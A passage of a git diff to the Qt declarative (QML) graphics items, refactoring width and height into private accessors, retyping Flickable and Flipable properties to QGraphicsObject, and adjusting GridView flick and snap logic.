QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem const QDeclarativeScaleGrid *border = d->getScaleGrid(); QMargins margins(border->left(), border->top(), border->right(), border->bottom()); QTileRules rules((Qt::TileRule)d->horizontalTileMode, (Qt::TileRule)d->verticalTileMode); - qDrawBorderPixmap(p, QRect(0, 0, (int)d->width, (int)d->height), margins, d->pix, d->pix.rect(), margins, rules); + qDrawBorderPixmap(p, QRect(0, 0, (int)d->width(), (int)d->height()), margins, d->pix, d->pix.rect(), margins, rules); if (d->smooth) { p->setRenderHint(QPainter::Antialiasing, oldAA); p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 9ccb3b6..98502fd 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -990,10 +990,10 @@ QDeclarativeListProperty<QObject> QDeclarativeFlickable::flickableData() return QDeclarativeListProperty<QObject>(this, (void *)d, QDeclarativeFlickablePrivate::data_append); } -QDeclarativeListProperty<QDeclarativeItem> QDeclarativeFlickable::flickableChildren() +QDeclarativeListProperty<QGraphicsObject> QDeclarativeFlickable::flickableChildren() { Q_D(QDeclarativeFlickable); - return d->viewport->fxChildren(); + return QGraphicsItemPrivate::get(d->viewport)->childrenList(); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h index 7dcab98..1fa2c74 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h @@ -82,7 +82,7 @@ class Q_DECLARATIVE_EXPORT QDeclarativeFlickable : public QDeclarativeItem Q_PROPERTY(QDeclarativeFlickableVisibleArea *visibleArea READ visibleArea CONSTANT) Q_PROPERTY(QDeclarativeListProperty<QObject> flickableData READ flickableData) - Q_PROPERTY(QDeclarativeListProperty<QDeclarativeItem> flickableChildren READ flickableChildren) + Q_PROPERTY(QDeclarativeListProperty<QGraphicsObject> flickableChildren READ flickableChildren) Q_CLASSINFO("DefaultProperty", "flickableData") Q_ENUMS(FlickDirection) @@ -92,7 +92,7 @@ public: ~QDeclarativeFlickable(); QDeclarativeListProperty<QObject> flickableData(); - QDeclarativeListProperty<QDeclarativeItem> flickableChildren(); + QDeclarativeListProperty<QGraphicsObject> flickableChildren(); bool overShoot() const; void setOverShoot(bool); diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index 8b46039..cb4044f 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -59,8 +59,8 @@ public: void updateSceneTransformFromParent(); QDeclarativeFlipable::Side current; - QDeclarativeGuard<QDeclarativeItem> front; - QDeclarativeGuard<QDeclarativeItem> back; + QDeclarativeGuard<QGraphicsObject> front; + QDeclarativeGuard<QGraphicsObject> back; }; /*! @@ -112,13 +112,13 @@ QDeclarativeFlipable::~QDeclarativeFlipable() The front and back sides of the flipable. */ -QDeclarativeItem *QDeclarativeFlipable::front() +QGraphicsObject *QDeclarativeFlipable::front() { Q_D(const QDeclarativeFlipable); return d->front; } -void QDeclarativeFlipable::setFront(QDeclarativeItem *front) +void QDeclarativeFlipable::setFront(QGraphicsObject *front) { Q_D(QDeclarativeFlipable); if (d->front) { @@ -131,13 +131,13 @@ void QDeclarativeFlipable::setFront(QDeclarativeItem *front) d->front->setOpacity(0.); } -QDeclarativeItem *QDeclarativeFlipable::back() +QGraphicsObject *QDeclarativeFlipable::back() { Q_D(const QDeclarativeFlipable); return d->back; } -void QDeclarativeFlipable::setBack(QDeclarativeItem *back) +void QDeclarativeFlipable::setBack(QGraphicsObject *back) { Q_D(QDeclarativeFlipable); if (d->back) { @@ -160,7 +160,7 @@ QDeclarativeFlipable::Side QDeclarativeFlipable::side() const { Q_D(const QDeclarativeFlipable); if (d->dirtySceneTransform) - const_cast<QDeclarativeFlipablePrivate *>(d)->updateSceneTransformFromParent(); + const_cast<QDeclarativeFlipablePrivate *>(d)->ensureSceneTransform(); return d->current; } @@ -195,12 +195,13 @@ void QDeclarativeFlipablePrivate::updateSceneTransformFromParent() current = newSide; if (current == QDeclarativeFlipable::Back && back) { QTransform mat; - mat.translate(back->width()/2,back->height()/2); - if (back->width() && p1.x() >= p2.x()) + QGraphicsItemPrivate *dBack = QGraphicsItemPrivate::get(back); + mat.translate(dBack->width()/2,dBack->height()/2); + if (dBack->width() && p1.x() >= p2.x()) mat.rotate(180, Qt::YAxis); - if (back->height() && p2.y() >= p3.y()) + if (dBack->height() && p2.y() >= p3.y()) mat.rotate(180, Qt::XAxis); - mat.translate(-back->width()/2,-back->height()/2); + mat.translate(-dBack->width()/2,-dBack->height()/2); back->setTransform(mat); } if (front) diff --git a/src/declarative/graphicsitems/qdeclarativeflipable_p.h b/src/declarative/graphicsitems/qdeclarativeflipable_p.h index 8b9c24c..302f083 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflipable_p.h @@ -60,8 +60,8 @@ class Q_DECLARATIVE_EXPORT QDeclarativeFlipable : public QDeclarativeItem Q_OBJECT Q_ENUMS(Side) - Q_PROPERTY(QDeclarativeItem *front READ front WRITE setFront) - Q_PROPERTY(QDeclarativeItem *back READ back WRITE setBack) + Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront) + Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack) Q_PROPERTY(Side side READ side NOTIFY sideChanged) //### flipAxis //### flipRotation @@ -69,11 +69,11 @@ public: QDeclarativeFlipable(QDeclarativeItem *parent=0); ~QDeclarativeFlipable(); - QDeclarativeItem *front(); - void setFront(QDeclarativeItem *); + QGraphicsObject *front(); + void setFront(QGraphicsObject *); - QDeclarativeItem *back(); - void setBack(QDeclarativeItem *); + QGraphicsObject *back(); + void setBack(QGraphicsObject *); enum Side { Front, Back }; Side side() const; diff --git a/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer.cpp b/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer.cpp index eb5b6ce..ff85bbd 100644 --- a/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer.cpp +++ b/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer.cpp @@ -65,12 +65,12 @@ public: if (graphicsObject && graphicsObject->isWidget()) { if (!on) { graphicsObject->removeEventFilter(q); - QObject::disconnect(q, SIGNAL(widthChanged(qreal)), q, SLOT(_q_updateSize())); - QObject::disconnect(q, SIGNAL(heightChanged(qreal)), q, SLOT(_q_updateSize())); + QObject::disconnect(q, SIGNAL(widthChanged()), q, SLOT(_q_updateSize())); + QObject::disconnect(q, SIGNAL(heightChanged()), q, SLOT(_q_updateSize())); } else { graphicsObject->installEventFilter(q); - QObject::connect(q, SIGNAL(widthChanged(qreal)), q, SLOT(_q_updateSize())); - QObject::connect(q, SIGNAL(heightChanged(qreal)), q, SLOT(_q_updateSize())); + QObject::connect(q, SIGNAL(widthChanged()), q, SLOT(_q_updateSize())); + QObject::connect(q, SIGNAL(heightChanged()), q, SLOT(_q_updateSize())); } } } @@ -251,7 +251,7 @@ void QDeclarativeGraphicsObjectContainerPrivate::_q_updateSize() return; QGraphicsWidget *gw = static_cast<QGraphicsWidget*>(graphicsObject); - const QSizeF newSize(width, height); + const QSizeF newSize(width(), height()); gw->resize(newSize); //### will respecting the widgets min/max ever get us in trouble? (all other items always diff --git a/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer_p.h b/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer_p.h index 95d7a4b..20c5bcf 100644 --- a/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer_p.h +++ b/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer_p.h @@ -82,7 +82,6 @@ private: QT_END_NAMESPACE -QML_DECLARE_TYPE(QGraphicsObject) QML_DECLARE_TYPE(QDeclarativeGraphicsObjectContainer) QT_END_HEADER diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 93f8d06..de0cb04 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -786,28 +786,32 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); return; } - qreal maxDistance = -1; + qreal maxDistance = 0; // -ve velocity means list is moving up if (velocity > 0) { - if (snapMode == QDeclarativeGridView::SnapOneRow) { - if (FxGridItem *item = firstVisibleItem()) - maxDistance = qAbs(item->rowPos() + data.move.value()); - } else if (data.move.value() < minExtent) { - maxDistance = qAbs(minExtent - data.move.value()); + if (data.move.value() < minExtent) { + if (snapMode == QDeclarativeGridView::SnapOneRow) { + if (FxGridItem *item = firstVisibleItem()) + maxDistance = qAbs(item->rowPos() + data.move.value()); + } else { + maxDistance = qAbs(minExtent - data.move.value()); + } } if (snapMode != QDeclarativeGridView::SnapToRow && highlightRange != QDeclarativeGridView::StrictlyEnforceRange) data.flickTarget = minExtent; } else { - if (snapMode == QDeclarativeGridView::SnapOneRow) { - qreal pos = snapPosAt(-data.move.value()) + rowSize(); - maxDistance = qAbs(pos + data.move.value()); - } else if (data.move.value() > maxExtent) { - maxDistance = qAbs(maxExtent - data.move.value()); + if (data.move.value() > maxExtent) { + if (snapMode == QDeclarativeGridView::SnapOneRow) { + qreal pos = snapPosAt(-data.move.value()) + rowSize(); + maxDistance = qAbs(pos + data.move.value()); + } else { + maxDistance = qAbs(maxExtent - data.move.value()); + } } if (snapMode != QDeclarativeGridView::SnapToRow && highlightRange != QDeclarativeGridView::StrictlyEnforceRange) data.flickTarget = maxExtent; } - if (maxDistance > 0 && (snapMode != QDeclarativeGridView::NoSnap || highlightRange == QDeclarativeGridView::StrictlyEnforceRange)) { + if ((maxDistance > 0 || overShoot) && (snapMode != QDeclarativeGridView::NoSnap || highlightRange == QDeclarativeGridView::StrictlyEnforceRange)) { // This mode requires the grid to stop exactly on a row boundary. qreal v = velocity; if (maxVelocity != -1 && maxVelocity < qAbs(v)) { @@ -818,9 +822,8 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m } qreal accel = deceleration; qreal v2 = v * v; - qreal maxAccel = v2 / (2.0f * maxDistance); qreal overshootDist = 0.0; - if (maxAccel < accel) { + if (maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) { // + rowSize()/4 to encourage moving at least one item in the flick direction qreal dist = v2 / (accel * 2.0) + rowSize()/4; if (v > 0) @@ -924,7 +927,7 @@ QDeclarativeGridView::~QDeclarativeGridView() id: wrapper SequentialAnimation on GridView.onRemove { PropertyAction { target: wrapper.GridView; property: "delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing: "easeInOutQuad" } + NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" } PropertyAction { target: wrapper.GridView; property: "delayRemove"; value: false } } } @@ -1080,8 +1083,9 @@ void QDeclarativeGridView::setCurrentIndex(int index) d->moveReason = QDeclarativeGridViewPrivate::SetIndex; cancelFlick(); d->updateCurrent(index); - } else { + } else if (index != d->currentIndex) { d->currentIndex = index; + emit currentIndexChanged(); } } @@ -1504,10 +1508,12 @@ qreal QDeclarativeGridView::maxYExtent() const if (d->flow == QDeclarativeGridView::TopToBottom) return QDeclarativeFlickable::maxYExtent(); qreal extent; - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { extent = -(d->endPosition() - d->highlightRangeEnd); - else + extent = qMax(extent, -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart)); + } else { extent = -(d->endPosition() - height()); + } const qreal minY = minYExtent(); if (extent > minY) extent = minY; @@ -1531,10 +1537,12 @@ qreal QDeclarativeGridView::maxXExtent() const if (d->flow == QDeclarativeGridView::LeftToRight) return QDeclarativeFlickable::maxXExtent(); qreal extent; - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { extent = -(d->endPosition() - d->highlightRangeEnd); - else + extent = qMax(extent, -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart)); + } else { extent = -(d->endPosition() - height()); + } const qreal minX = minXExtent(); if (extent > minX) extent = minX; @@ -1838,9 +1846,17 @@ void QDeclarativeGridView::trackedPositionChanged() void QDeclarativeGridView::itemsInserted(int modelIndex, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; if (!d->visibleItems.count() || d->model->count() <= 1) { d->scheduleLayout(); - d->updateCurrent(qMax(0, qMin(d->currentIndex, d->model->count()-1))); + if (d->currentIndex >= modelIndex) { + // adjust current item index + d->currentIndex += count; + if (d->currentItem) + d->currentItem->index = d->currentIndex; + emit currentIndexChanged(); + } emit countChanged(); return; } @@ -1964,6 +1980,8 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count) void QDeclarativeGridView::itemsRemoved(int modelIndex, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; bool currentRemoved = d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count; bool removedVisible = false; @@ -2054,6 +2072,8 @@ void QDeclarativeGridView::destroyRemoved() void QDeclarativeGridView::itemsMoved(int from, int to, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; QHash<int,FxGridItem*> moved; bool removedBeforeVisible = false; diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 9b1bdba..ee0682a 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -312,9 +312,9 @@ void QDeclarativeContents::setItem(QDeclarativeItem *item) QDeclarativeItem *child = qobject_cast<QDeclarativeItem *>(children.at(i)); if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects? continue; - connect(child, SIGNAL(heightChanged(qreal)), this, SLOT(calcHeight())); + connect(child, SIGNAL(heightChanged()), this, SLOT(calcHeight())); connect(child, SIGNAL(yChanged()), this, SLOT(calcHeight())); - connect(child, SIGNAL(widthChanged(qreal)), this, SLOT(calcWidth())); + connect(child, SIGNAL(widthChanged()), this, SLOT(calcWidth())); connect(child, SIGNAL(xChanged()), this, SLOT(calcWidth())); connect(this, SIGNAL(rectChanged(QRectF)), m_item, SIGNAL(childrenRectChanged(QRectF))); } @@ -1273,16 +1273,6 @@ QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObjec */ /*! - \fn void QDeclarativeItem::widthChanged() - \internal -*/ - -/*! - \fn void QDeclarativeItem::heightChanged() - \internal -*/ - -/*! \fn void QDeclarativeItem::stateChanged(const QString &state) \internal */ @@ -1462,11 +1452,6 @@ QDeclarativeItem *QDeclarativeItem::parentItem() const */ /*! - \property QDeclarativeItem::children - \internal -*/ - -/*! \property QDeclarativeItem::resources \internal */ @@ -1500,11 +1485,12 @@ QDeclarativeAnchors *QDeclarativeItem::anchors() void QDeclarativeItemPrivate::data_append(QDeclarativeListProperty<QObject> *prop, QObject *o) { - QDeclarativeItem *i = qobject_cast<QDeclarativeItem *>(o); - if (i) + QGraphicsObject *i = qobject_cast<QGraphicsObject *>(o); + if (i) { i->setParentItem(static_cast<QDeclarativeItem *>(prop->object)); - else + } else { o->setParent(static_cast<QDeclarativeItem *>(prop->object)); + } } QObject *QDeclarativeItemPrivate::resources_at(QDeclarativeListProperty<QObject> *prop, int index) @@ -1526,27 +1512,6 @@ int QDeclarativeItemPrivate::resources_count(QDeclarativeListProperty<QObject> * return prop->object->children().count(); } -QDeclarativeItem *QDeclarativeItemPrivate::children_at(QDeclarativeListProperty<QDeclarativeItem> *prop, int index) -{ - QList<QGraphicsItem *> children = static_cast<QDeclarativeItem*>(prop->object)->childItems(); - - if (index < children.count()) - return qobject_cast<QDeclarativeItem *>(children.at(index)); - else - return 0; -} - -void QDeclarativeItemPrivate::children_append(QDeclarativeListProperty<QDeclarativeItem> *prop, QDeclarativeItem *i) -{ - if (i) - i->setParentItem(static_cast<QDeclarativeItem*>(prop->object)); -} - -int QDeclarativeItemPrivate::children_count(QDeclarativeListProperty<QDeclarativeItem> *prop) -{ - return static_cast<QDeclarativeItem*>(prop->object)->childItems().count(); -} - int QDeclarativeItemPrivate::transform_count(QDeclarativeListProperty<QGraphicsTransform> *list) { QGraphicsObject *object = qobject_cast<QGraphicsObject *>(list->object); @@ -1589,6 +1554,14 @@ void QDeclarativeItemPrivate::transform_clear(QDeclarativeListProperty<QGraphics } } +void QDeclarativeItemPrivate::parentProperty(QObject *o, void *rv, QDeclarativeNotifierEndpoint *e) +{ + QDeclarativeItem *item = static_cast<QDeclarativeItem*>(o); + if (e) + e->connect(&item->d_func()->parentNotifier); + *((QDeclarativeItem **)rv) = item->parentItem(); +} + /*! \qmlproperty list<Object> Item::data \default @@ -1678,18 +1651,6 @@ void QDeclarativeItem::setClip(bool c) */ /*! - \property QDeclarativeItem::width - - Defines the item's width relative to its parent. - */ - -/*! - \property QDeclarativeItem::height - - Defines the item's height relative to its parent. - */ - -/*! \qmlproperty real Item::z Sets the stacking order of the item. By default the stacking order is 0. @@ -1801,11 +1762,11 @@ void QDeclarativeItem::geometryChanged(const QRectF &newGeometry, if (newGeometry.x() != oldGeometry.x()) emit xChanged(); if (newGeometry.width() != oldGeometry.width()) - emit widthChanged(newGeometry.width()); + emit widthChanged(); if (newGeometry.y() != oldGeometry.y()) emit yChanged(); if (newGeometry.height() != oldGeometry.height()) - emit heightChanged(newGeometry.height()); + emit heightChanged(); for(int ii = 0; ii < d->changeListeners.count(); ++ii) { const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii); @@ -2281,14 +2242,6 @@ void QDeclarativeItemPrivate::focusChanged(bool flag) } /*! \internal */ -QDeclarativeListProperty<QDeclarativeItem> QDeclarativeItem::fxChildren() -{ - return QDeclarativeListProperty<QDeclarativeItem>(this, 0, QDeclarativeItemPrivate::children_append, - QDeclarativeItemPrivate::children_count, - QDeclarativeItemPrivate::children_at); -} - -/*! \internal */ QDeclarativeListProperty<QObject> QDeclarativeItem::resources() { return QDeclarativeListProperty<QObject>(this, 0, QDeclarativeItemPrivate::resources_append, @@ -2594,10 +2547,11 @@ bool QDeclarativeItem::sceneEvent(QEvent *event) QVariant QDeclarativeItem::itemChange(GraphicsItemChange change, const QVariant &value) { - Q_D(const QDeclarativeItem); + Q_D(QDeclarativeItem); switch (change) { case ItemParentHasChanged: emit parentChanged(parentItem()); + d->parentNotifier.notify(); break; case ItemChildAddedChange: case ItemChildRemovedChange: @@ -2632,7 +2586,7 @@ QVariant QDeclarativeItem::itemChange(GraphicsItemChange change, QRectF QDeclarativeItem::boundingRect() const { Q_D(const QDeclarativeItem); - return QRectF(0, 0, d->width, d->height); + return QRectF(0, 0, d->mWidth, d->mHeight); } /*! @@ -2717,33 +2671,50 @@ void QDeclarativeItem::setSmooth(bool smooth) qreal QDeclarativeItem::width() const { Q_D(const QDeclarativeItem); - return d->width; + return d->width(); } void QDeclarativeItem::setWidth(qreal w) { Q_D(QDeclarativeItem); + d->setWidth(w); +} + +void QDeclarativeItem::resetWidth() +{ + Q_D(QDeclarativeItem); + d->resetWidth(); +} + +qreal QDeclarativeItemPrivate::width() const +{ + return mWidth; +} + +void QDeclarativeItemPrivate::setWidth(qreal w) +{ + Q_Q(QDeclarativeItem); if (qIsNaN(w)) return; - d->widthValid = true; - if (d->width == w) + widthValid = true; + if (mWidth == w) return; - qreal oldWidth = d->width; + qreal oldWidth = mWidth; - prepareGeometryChange(); - d->width = w; + q->prepareGeometryChange(); + mWidth = w; - geometryChanged(QRectF(x(), y(), width(), height()), - QRectF(x(), y(), oldWidth, height())); + q->geometryChanged(QRectF(q->x(), q->y(), width(), height()), + QRectF(q->x(), q->y(), oldWidth, height())); } -void QDeclarativeItem::resetWidth() +void QDeclarativeItemPrivate ::resetWidth() { - Q_D(QDeclarativeItem); - d->widthValid = false; - setImplicitWidth(implicitWidth()); + Q_Q(QDeclarativeItem); + widthValid = false; + q->setImplicitWidth(q->implicitWidth()); } /*! @@ -2763,13 +2734,13 @@ void QDeclarativeItem::setImplicitWidth(qreal w) { Q_D(QDeclarativeItem); d->implicitWidth = w; - if (d->width == w || widthValid()) + if (d->mWidth == w || widthValid()) return; - qreal oldWidth = d->width; + qreal oldWidth = d->mWidth; prepareGeometryChange(); - d->width = w; + d->mWidth = w; geometryChanged(QRectF(x(), y(), width(), height()), QRectF(x(), y(), oldWidth, height())); @@ -2787,33 +2758,50 @@ bool QDeclarativeItem::widthValid() const qreal QDeclarativeItem::height() const { Q_D(const QDeclarativeItem); - return d->height; + return d->height(); } void QDeclarativeItem::setHeight(qreal h) { Q_D(QDeclarativeItem); + d->setHeight(h); +} + +void QDeclarativeItem::resetHeight() +{ + Q_D(QDeclarativeItem); + d->resetHeight(); +} + +qreal QDeclarativeItemPrivate::height() const +{ + return mHeight; +} + +void QDeclarativeItemPrivate::setHeight(qreal h) +{ + Q_Q(QDeclarativeItem); if (qIsNaN(h)) return; - d->heightValid = true; - if (d->height == h) + heightValid = true; + if (mHeight == h) return; - qreal oldHeight = d->height; + qreal oldHeight = mHeight; - prepareGeometryChange(); - d->height = h; + q->prepareGeometryChange(); + mHeight = h; - geometryChanged(QRectF(x(), y(), width(), height()), - QRectF(x(), y(), width(), oldHeight)); + q->geometryChanged(QRectF(q->x(), q->y(), width(), height()), + QRectF(q->x(), q->y(), width(), oldHeight)); } -void QDeclarativeItem::resetHeight() +void QDeclarativeItemPrivate::resetHeight() { - Q_D(QDeclarativeItem); - d->heightValid = false; - setImplicitHeight(implicitHeight()); + Q_Q(QDeclarativeItem); + heightValid = false; + q->setImplicitHeight(q->implicitHeight()); } /*! @@ -2833,13 +2821,13 @@ void QDeclarativeItem::setImplicitHeight(qreal h) { Q_D(QDeclarativeItem); d->implicitHeight = h; - if (d->height == h || heightValid()) + if (d->mHeight == h || heightValid()) return; - qreal oldHeight = d->height; + qreal oldHeight = d->mHeight; prepareGeometryChange(); - d->height = h; + d->mHeight = h; geometryChanged(QRectF(x(), y(), width(), height()), QRectF(x(), y(), width(), oldHeight)); @@ -2861,15 +2849,15 @@ void QDeclarativeItem::setSize(const QSizeF &size) d->heightValid = true; d->widthValid = true; - if (d->height == size.height() && d->width == size.width()) + if (d->height() == size.height() && d->width() == size.width()) return; - qreal oldHeight = d->height; - qreal oldWidth = d->width; + qreal oldHeight = d->height(); + qreal oldWidth = d->width(); prepareGeometryChange(); - d->height = size.height(); - d->width = size.width(); + d->setHeight(size.height()); + d->setWidth(size.width()); geometryChanged(QRectF(x(), y(), width(), height()), QRectF(x(), y(), oldWidth, oldHeight)); diff --git a/src/declarative/graphicsitems/qdeclarativeitem.h b/src/declarative/graphicsitems/qdeclarativeitem.h index c88b1db..712e854 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.h +++ b/src/declarative/graphicsitems/qdeclarativeitem.h @@ -71,13 +71,10 @@ class Q_DECLARATIVE_EXPORT QDeclarativeItem : public QGraphicsObject, public QDe Q_PROPERTY(QDeclarativeItem * parent READ parentItem WRITE setParentItem NOTIFY parentChanged DESIGNABLE false FINAL) Q_PROPERTY(QDeclarativeListProperty<QObject> data READ data DESIGNABLE false) - Q_PROPERTY(QDeclarativeListProperty<QDeclarativeItem> children READ fxChildren DESIGNABLE false NOTIFY childrenChanged) Q_PROPERTY(QDeclarativeListProperty<QObject> resources READ resources DESIGNABLE false) Q_PROPERTY(QDeclarativeListProperty<QDeclarativeState> states READ states DESIGNABLE false) Q_PROPERTY(QDeclarativeListProperty<QDeclarativeTransition> transitions READ transitions DESIGNABLE false) Q_PROPERTY(QString state READ state WRITE setState NOTIFY stateChanged) - Q_PROPERTY(qreal width READ width WRITE setWidth NOTIFY widthChanged RESET resetWidth FINAL) - Q_PROPERTY(qreal height READ height WRITE setHeight NOTIFY heightChanged RESET resetHeight FINAL) Q_PROPERTY(QRectF childrenRect READ childrenRect NOTIFY childrenRectChanged DESIGNABLE false FINAL) Q_PROPERTY(QDeclarativeAnchors * anchors READ anchors DESIGNABLE false CONSTANT FINAL) Q_PROPERTY(QDeclarativeAnchorLine left READ left CONSTANT FINAL) @@ -113,7 +110,6 @@ public: void setParent(QDeclarativeItem *parent) { setParentItem(parent); } QDeclarativeListProperty<QObject> data(); - QDeclarativeListProperty<QDeclarativeItem> fxChildren(); QDeclarativeListProperty<QObject> resources(); QDeclarativeAnchors *anchors(); @@ -173,8 +169,6 @@ public: QDeclarativeAnchorLine baseline() const; Q_SIGNALS: - void widthChanged(qreal); - void heightChanged(qreal); void childrenChanged(); void childrenRectChanged(const QRectF &); void baselineOffsetChanged(qreal); @@ -235,9 +229,11 @@ QDebug Q_DECLARATIVE_EXPORT operator<<(QDebug debug, QDeclarativeItem *item); QT_END_NAMESPACE QML_DECLARE_TYPE(QDeclarativeItem) +QML_DECLARE_TYPE(QGraphicsObject) QML_DECLARE_TYPE(QGraphicsTransform) QML_DECLARE_TYPE(QGraphicsScale) QML_DECLARE_TYPE(QGraphicsRotation) +QML_DECLARE_TYPE(QGraphicsWidget) QML_DECLARE_TYPE(QAction) QT_END_HEADER diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h index 55df063..4828f4e 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h @@ -62,6 +62,8 @@ #include <private/qdeclarativestate_p.h> #include <private/qdeclarativenullablevalue_p_p.h> +#include <private/qdeclarativenotifier_p.h> + #include <qdeclarative.h> #include <qdeclarativecontext.h> @@ -114,7 +116,7 @@ public: widthValid(false), heightValid(false), _componentComplete(true), _keepMouse(false), smooth(false), keyHandler(0), - width(0), height(0), implicitWidth(0), implicitHeight(0) + mWidth(0), mHeight(0), implicitWidth(0), implicitHeight(0) { QGraphicsItemPrivate::acceptedMouseButtons = 0; QGraphicsItemPrivate::flags = QGraphicsItem::GraphicsItemFlags( @@ -136,6 +138,16 @@ public: QString _id; + // Private Properties + qreal width() const; + void setWidth(qreal); + void resetWidth(); + + qreal height() const; + void setHeight(qreal); + void resetHeight(); + + // data property static void data_append(QDeclarativeListProperty<QObject> *, QObject *); @@ -144,17 +156,16 @@ public: static void resources_append(QDeclarativeListProperty<QObject> *, QObject *); static int resources_count(QDeclarativeListProperty<QObject> *); - // children property - static QDeclarativeItem *children_at(QDeclarativeListProperty<QDeclarativeItem> *, int); - static void children_append(QDeclarativeListProperty<QDeclarativeItem> *, QDeclarativeItem *); - static int children_count(QDeclarativeListProperty<QDeclarativeItem> *); - // transform property static int transform_count(QDeclarativeListProperty<QGraphicsTransform> *list); static void transform_append(QDeclarativeListProperty<QGraphicsTransform> *list, QGraphicsTransform *); static QGraphicsTransform *transform_at(QDeclarativeListProperty<QGraphicsTransform> *list, int); static void transform_clear(QDeclarativeListProperty<QGraphicsTransform> *list); + // Accelerated property accessors + QDeclarativeNotifier parentNotifier; + static void parentProperty(QObject *o, void *rv, QDeclarativeNotifierEndpoint *e); + QDeclarativeAnchors *anchors() { if (!_anchors) { Q_Q(QDeclarativeItem); @@ -222,8 +233,8 @@ public: QDeclarativeItemKeyFilter *keyHandler; - qreal width; - qreal height; + qreal mWidth; + qreal mHeight; qreal implicitWidth; qreal implicitHeight; @@ -232,9 +243,9 @@ public: virtual void setPosHelper(const QPointF &pos) { Q_Q(QDeclarativeItem); - QRectF oldGeometry(this->pos.x(), this->pos.y(), width, height); + QRectF oldGeometry(this->pos.x(), this->pos.y(), mWidth, mHeight); QGraphicsItemPrivate::setPosHelper(pos); - q->geometryChanged(QRectF(this->pos.x(), this->pos.y(), width, height), oldGeometry); + q->geometryChanged(QRectF(this->pos.x(), this->pos.y(), mWidth, mHeight), oldGeometry); } // Reimplemented from QGraphicsItemPrivate diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 1a48cbd..07d7f4d 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -114,7 +114,6 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType<QDeclarativePathPercent>("Qt",4,6,"PathPercent"); qmlRegisterType<QDeclarativePathQuad>("Qt",4,6,"PathQuad"); qmlRegisterType<QDeclarativePathView>("Qt",4,6,"PathView"); - qmlRegisterType<QDeclarativePen>("Qt",4,6,"Pen"); qmlRegisterType<QIntValidator>("Qt",4,6,"QIntValidator"); #if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) qmlRegisterType<QDoubleValidator>("Qt",4,7,"QDoubleValidator"); @@ -146,6 +145,7 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType<QValidator>(); qmlRegisterType<QDeclarativeVisualModel>(); qmlRegisterType<QAction>(); + qmlRegisterType<QDeclarativePen>(); #ifdef QT_WEBKIT_LIB qmlRegisterType<QDeclarativeWebSettings>(); #endif diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 84281c8..8a70c07 100644 --- 